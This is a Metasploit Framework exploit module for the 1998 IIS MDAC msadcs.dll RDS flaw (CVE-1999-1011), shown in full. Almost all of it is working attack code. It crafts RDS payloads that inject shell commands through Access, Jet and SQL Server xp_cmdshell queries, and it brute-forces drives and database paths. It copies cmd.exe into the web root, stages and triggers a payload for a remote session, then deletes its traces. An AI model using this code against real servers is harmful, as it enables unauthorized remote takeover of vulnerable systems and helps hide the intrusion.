Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex/proto/tftp'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStagerTFTP  
  
def initialize  
super(  
'Name' => 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution',  
'Description' => %q{  
This module can be used to execute arbitrary commands on IIS servers  
that expose the /msadc/msadcs.dll Microsoft Data Access Components  
(MDAC) Remote Data Service (RDS) DataFactory service using VbBusObj  
or AdvancedDataFactory to inject shell commands into Microsoft Access  
databases (MDBs), MSSQL databases and ODBC/JET Data Source Name (DSN).  
Based on the msadcs.pl v2 exploit by Rain.Forest.Puppy, which was actively  
used in the wild in the late Ninties. MDAC versions affected include MDAC  
1.5, 2.0, 2.0 SDK, 2.1 and systems with the MDAC Sample Pages for RDS  
installed, and NT4 Servers with the NT Option Pack installed or upgraded  
2000 systems often running IIS3/4/5 however some vulnerable installations  
can still be found on newer Windows operating systems. Note that newer  
releases of msadcs.dll can still be abused however by default remote  
connections to the RDS is denied. Consider using VERBOSE if you're unable  
to successfully execute a command, as the error messages are detailed  
and useful for debugging. Also set NAME to obtain the remote hostname,  
and METHOD to use the alternative VbBusObj technique.  
},  
'Author' => 'patrick',  
'Platform' => 'win',  
'References' =>  
[  
['OSVDB', '272'],  
['BID', '529'],  
['CVE', '1999-1011'],  
['MSB', 'ms98-004'],  
['MSB', 'ms99-025']  
],  
'Targets' =>  
[  
# patrickw tested meterpreter OK 20120601  
# nt4server w/sp3, ie4.02, option pack, IIS4.0, mdac 1.5, over msaccess shell, reverse_nonx  
# w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jul 17 1998'  
)  
  
register_options(  
[  
OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),  
OptBool.new('METHOD', [ true, "If true, use VbBusObj instead of AdvancedDataFactory", false]),  
OptBool.new('NAME', [ true, "If true, attempt to obtain the MACHINE NAME", false]),  
OptString.new('DBHOST', [ true, "The SQL Server host", 'local']),  
OptString.new('DBNAME', [ true, "The SQL Server database", 'master']),  
OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']),  
OptString.new('DBPASSWORD', [ false, "The SQL Server password (default is blank)", '']),  
], self.class)  
end  
  
def check  
res = send_request_raw({  
'uri' => datastore['PATH'],  
'method' => 'GET',  
})  
if (res.code == 200)  
print_status("Server responded with HTTP #{res.code} OK")  
if (res.body =~ /Content-Type: application\/x-varg/)  
print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")  
Exploit::CheckCode::Detected  
end  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def create_dsn(drive, dsn)  
req = "/scripts/tools/newdsn.exe?driver=Microsoft\%2BAccess\%2BDriver\%2B\%28*.mdb\%29\&dsn=#{dsn}\&dbq=#{drive}\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr="  
  
res = send_request_raw({  
'uri' => req,  
})  
  
if (res and res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED! The most likely cause is invalid attributes<\/B><\/H2>/)  
vprint_error("DSN CREATE failed for drive #{drive} with #{dsn}.")  
return false  
elsif (res.code == 200 and res.body =~ /<H2>Datasource creation successful<\/H2>/)  
print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!")  
return true  
end  
end  
  
def exec_cmd(sql, cmd, d)  
boundary = rand_text_alphanumeric(8)  
method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query"  
dsn = Rex::Text.to_unicode(d)  
if (d =~ /driver=\{SQL Server\}/)  
select = Rex::Text.to_unicode(sql + '"' + cmd + '"')  
elsif (cmd.nil?)  
select = Rex::Text.to_unicode(sql)  
else  
select = Rex::Text.to_unicode(sql+ "'|shell(\"" + cmd + "\")|'")  
end  
  
vprint_status("Attempting to request: #{select} on #{d}")  
  
query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}"  
  
sploit = "--#{boundary}\r\n"  
sploit << "Content-Type: application/x-varg\r\n"  
sploit << "Content-Length: #{query.length}\r\n\r\n"  
sploit << query  
sploit << "\r\n--#{boundary}--\r\n"  
  
data = "ADCClientVersion:01.06\r\n"  
data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=3'  
data << "\r\n\r\n"  
data << sploit  
  
res = send_request_raw({  
'uri' => datastore['PATH'] + '/' + method,  
'agent' => 'ACTIVEDATA',  
'headers' =>  
{  
'Content-Length' => data.length,  
'Connection' => "Keep-Alive",  
},  
'method' => 'POST',  
'data' => data,  
})  
  
response = Rex::Text.to_ascii(res.body, 'utf-16be')  
  
if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./)  
vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}")  
return true, sql, d  
elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./)  
print_error("Exploit failed: the server is patched")  
return # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail.  
elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/)  
vprint_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}")  
elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/)  
vprint_error("Server is vulnerable but the drive and path is incorrect.")  
elsif (response =~ /Disk or network error./)  
vprint_error("Server is vulnerable but the driver letter doesn't physically exist.")  
elsif (response =~ /Syntax error in CREATE TABLE statement/)  
vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.")  
elsif (response =~ /Table '(\w+)' already exists/)  
vprint_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!")  
elsif (response =~ /Syntax error \(missing operator\) in query expression/)  
vprint_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.")  
elsif (response =~ /Too few parameters. Expected 1/)  
print_good("Command was probably executed!")  
elsif (response =~ /Data source name not found and no default driver specified/)  
vprint_error("Server is vulnerable however the requested DSN '#{d}' does not exist.")  
elsif (response =~ /Couldn't find file/)  
vprint_error("Server is vulnerable however the requested .mdb file does not exist.")  
elsif (response =~ /Specified SQL server not found/)  
vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist")  
elsif (response =~ /Server does not exist or access denied/)  
vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist or access is denied")  
elsif (response =~ /General error Unable to open registry key/)  
vprint_error("Server error (possible misconfiguration): Unable to open registry key ")  
elsif (response =~ /It is in a read-only database/)  
vprint_error("Server accepted request however the requested .mdb is READ-ONLY")  
elsif (response =~ /Invalid connection/)  
vprint_error("Server accepted request however the MSSQL database says Invalid connection")  
elsif (response =~ /\[SQL Server\]Login failed for user/)  
vprint_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.")  
elsif (response =~ /EXECUTE permission denied on object 'xp_cmdshell'/)  
vprint_error("Server accepted request and MSSQL uid/pass is correct however the UID does not have permission to execute xp_cmdshell!")  
elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '"<table>" <table>' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique.  
vprint_error("Server accepted request however it failed for reasons unknown.")  
elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval?  
vprint_error("Unknown reply - but the command didn't execute")  
else  
vprint_status("Unknown reply - server is likely patched:\n#{response}")  
end  
return false  
end  
  
def find_exec  
# config data - greets to rain forest puppy :)  
boundary = rand_text_alphanumeric(8)  
  
if (datastore['NAME']) # Obtain the hostname if true  
  
data = "ADCClientVersion:01.06\r\n"  
data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=0'  
data << "\r\n\r\n--#{boundary}--\r\n"  
  
res = send_request_raw({  
'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName',  
'agent' => 'ACTIVEDATA',  
'headers' =>  
{  
'Content-Length' => data.length,  
'Connection' => "Keep-Alive",  
},  
'method' => 'POST',  
'data' => data,  
  
})  
  
if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname  
print_good("Hostname: #{$1}")  
end  
end  
  
drives = ["c","d","e","f","g","h"]  
sysdirs = ['winnt', 'windows', 'win', 'winnt351', 'winnt35' ]  
dsns = ["AdvWorks", "pubs", "wicca", "CertSvr", "CFApplications", "cfexamples","CFForums",  
"CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"]  
  
sysmdbs = [ "\\catroot\\icatalog.mdb", #these are %systemroot%  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",  
"\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",  
"\\system32\\certmdb.mdb",  
"\\system32\\ias\\ias.mdb",  
"\\system32\\ias\\dnary.mdb",  
"\\system32\\certlog\\certsrv.mdb" ]  
  
mdbs = [ "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #these are non-windows  
"\\cfusion\\cfapps\\forums\\forums_.mdb",  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",  
"\\cfusion\\cfapps\\security\\realm_.mdb",  
"\\cfusion\\cfapps\\security\\data\\realm.mdb",  
"\\cfusion\\database\\cfexamples.mdb",  
"\\cfusion\\database\\cfsnippets.mdb",  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",  
"\\cfusion\\brighttiger\\database\\cleam.mdb",  
"\\cfusion\\database\\smpolicy.mdb",  
"\\cfusion\\database\\cypress.mdb",  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",  
"\\website\\cgi-win\\dbsample.mdb",  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"  
]  
  
print_status("Step 1: Trying raw driver to btcustmr.mdb")  
  
drives.each do |drive|  
sysdirs.each do |sysdir|  
ret = exec_cmd("Select * from Customers where City=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}\\help\\iis\\htm\\tutorial\\btcustmr.mdb;")  
return ret if (ret)  
end  
end  
  
print_status("Step 2: Trying to make our own DSN...")  
x = false # Stop if we make a DSN  
drives.each do |drive|  
dsns.each do |dsn|  
unless x  
x = create_dsn(drive, dsn)  
end  
end  
end  
  
table = rand_text_alphanumeric(3)  
print_status("Step 3: Trying to create a new table in our own DSN...")  
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general make table query  
  
print_status("Step 4: Trying to execute our command via our own DSN and table...")  
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general exploit table query  
return ret if (ret)  
  
print_status("Step 5: Trying to execute our command via known DSNs...")  
dsns.each do |dsn|  
ret = exec_cmd("select * from MSysModules where name=", "cmd /c echo x", dsn) # this is table-independent query (new)  
return ret if (ret)  
end  
  
print_status("Step 6: Trying known system .mdbs...")  
drives.each do |drive|  
sysdirs.each do |sysdir|  
sysmdbs.each do |sysmdb|  
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")  
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")  
return ret if (ret)  
end  
end  
end  
  
print_status("Step 7: Trying known program file .mdbs...")  
drives.each do |drive|  
mdbs.each do |mdb|  
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")  
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")  
return ret if (ret)  
end  
end  
  
print_status("Step 8: Trying SQL xp_cmdshell method...")  
ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :)  
return ret if (ret)  
  
return -1  
end  
  
def exploit  
print_status("Searching for valid command execution point...")  
x = false  
until (x)  
x,y,z =find_exec  
if (x == -1)  
break  
end  
end  
  
if (x == true)  
print_good("Successful command execution found!")  
  
# now copy the file  
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"  
print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")  
# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory  
# Unfortunately, using %SystemRoot% doesn't seem to work :(  
res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z)  
  
# Use the CMD stager to get a payload running  
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })  
  
# Save these file names for later deletion  
@exe_cmd_copy = exe_fname  
@exe_payload = payload_exe  
  
# Just for good measure, we'll make a quick, direct request for the payload  
# Using the "start" method doesn't seem to make iis very happy :(  
print_status("Triggering the payload via a direct request...")  
res = send_request_raw({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1)  
end  
  
handler  
  
end  
  
#  
# The following handles deleting the copied cmd.exe and payload exe!  
#  
def on_new_session(client)  
  
if client.type != "meterpreter"  
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")  
print_error("The copied exe and the payload exe must be removed manually.")  
return  
end  
  
return if not @exe_cmd_copy  
  
# stdapi must be loaded before we can use fs.file  
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")  
  
# Delete the copied CMD.exe  
print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")  
client.fs.file.rm(@exe_cmd_copy)  
  
# Migrate so that we can delete the payload exe  
client.console.run_single("run migrate -f")  
  
# Delete the payload exe  
return if not @exe_payload  
  
delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload # C:\ ?  
  
print_status("Changing permissions on #{delete_me_too} ...")  
cmd = "C:\\#{sysdir[0]}\\system32\\attrib.exe -r -h -s " + delete_me_too # winnt ?  
client.sys.process.execute(cmd, nil, {'Hidden' => true })  
  
print_status("Deleting #{delete_me_too} ...")  
begin  
client.fs.file.rm(delete_me_too)  
rescue ::Exception => e  
print_error("Exception: #{e.inspect}")  
end  
end  
  
def cleanup  
framework.events.remove_exploit_subscriber(self)  
end  
  
def execute_command(cmd, opts = {})  
# Don't try the start command...  
# Using the "start" method doesn't seem to make iis very happy :(  
return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/  
  
print_status("Executing command: #{cmd} (options: #{opts.inspect})")  
  
uri = '/scripts/'  
exe = opts[:cgifname]  
if (exe)  
uri << exe  
end  
uri << '?/x+/c+'  
uri << Rex::Text.uri_encode(cmd)  
  
vprint_status("Attempting to execute: #{uri}")  
  
res = send_request_raw({  
'uri' => uri,  
'method' => 'GET',  
})  
end  
  
end  
`